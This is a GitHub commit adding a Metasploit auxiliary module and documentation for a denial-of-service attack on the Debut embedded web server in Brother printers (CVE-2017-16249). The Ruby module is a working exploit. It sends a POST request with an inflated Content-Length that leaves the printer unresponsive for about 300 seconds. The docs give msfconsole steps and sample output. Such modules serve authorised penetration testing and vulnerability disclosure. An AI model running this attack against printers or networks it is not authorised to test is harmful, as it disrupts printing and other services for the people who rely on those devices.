Skip to content

Commit beb4d56

Browse files
committed
Land rapid7#9354, Debut embedded httpd server (Brother printers) DoS
2 parents 465f3fd + 6257373 commit beb4d56

File tree

2 files changed

+114
-0
lines changed

2 files changed

+114
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
## Vulnerable Application
2+
3+
Versions <= 1.20 of the Debut embedded httpd web server in use by Brother printers are vulnerable to denial of service
4+
via a crafted HTTP request. This module will render the printer unresponsive from requests for ~300 seconds.
5+
This is thought to be caused by a single threaded web server which
6+
has a ~300 second timeout value. By sending a request with a content-length larger than the actual data, the server waits
7+
to receive the rest of the data, which doesn't happen until the timeout occurs. This DoS is for all services, not just http.
8+
9+
This module was successfully tested against a Brother HL-L2380DW series.
10+
11+
An nmap version scan of the vulnerable service should look similar to:
12+
`80/tcp open http Debut embedded httpd 1.20 (Brother/HP printer http admin)`.
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole
17+
2. Do: ```use auxiliary/dos/http/brother_debut_dos```
18+
3. Do: ```set rhost [ip]```
19+
4. Do: ```run```
20+
5. You should see Success, and manual attempts to browse the web interface don't load.
21+
22+
## Scenarios
23+
24+
### Brother HL-L2380DW with Debut embedded 1.20
25+
26+
```
27+
resource (brother.rc)> use auxiliary/dos/http/brother_debut_dos
28+
resource (brother.rc)> set rhost 1.1.1.1
29+
rhost => 1.1.1.1
30+
resource (brother.rc)> exploit
31+
[*] Sending malformed POST request at 2018-01-24 20:45:52.
32+
[+] 1.1.1.1:80 - Connection Refused: Success! Server will recover about 2018-01-24 20:50:52
33+
[*] Auxiliary module execution completed
34+
```
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Dos
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'Brother Debut http Denial Of Service',
13+
'Description' => %q{
14+
The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial
15+
of Service (DoS) condition via a crafted HTTP request. The printer will be
16+
unresponsive from HTTP and printing requests for ~300 seconds. After which, the
17+
printer will start responding again.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'z00n <[email protected]>', # vulnerability disclosure
23+
'h00die' # metasploit module
24+
],
25+
'References' => [
26+
[ 'CVE', '2017-16249' ],
27+
[ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-017/?fid=10211']
28+
],
29+
'DisclosureDate' => 'Nov 02 2017'))
30+
end
31+
32+
def is_alive?
33+
res = send_request_raw({
34+
'method' => 'GET',
35+
'uri' => '/',
36+
},10)
37+
38+
return !res.nil?
39+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
40+
print_error("Couldn't connect to #{peer}")
41+
end
42+
43+
def dos
44+
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
45+
# for the rest of the data, which never comes, and times out after ~300 seconds.
46+
data = Rex::Text.rand_text_alphanumeric(40)
47+
send_request_cgi({
48+
'method' => 'POST',
49+
'uri' => '/',
50+
'data' => data, #'asdasdasdasdasdasdasd',
51+
'headers' => {
52+
# These are kept here since they were in the original exploit, however they are not required
53+
#'Host' => 'asdasdasd',
54+
#'User-Agent' => 'asdasdasd',
55+
#'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
56+
#'Accept-Language' => 'en-US,en;q=0.5',
57+
#'Referer' => 'asdasdasdasd',
58+
#'Connection' => 'close',
59+
#'Upgrade-Insecure-Requests' => 1,
60+
#'Content-Type' => 'application/x-www-form-urlencoded',
61+
'Content-Length' => data.length + rand(10) + 10 #42
62+
}
63+
})
64+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
65+
print_error("Couldn't connect to #{peer}")
66+
end
67+
68+
def run
69+
time = Time.new
70+
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
71+
dos
72+
73+
# Check to see if it worked or not
74+
if is_alive?
75+
print_error("#{peer} - Server is still alive.")
76+
else
77+
print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
78+
end
79+
end
80+
end

0 commit comments

Comments
 (0)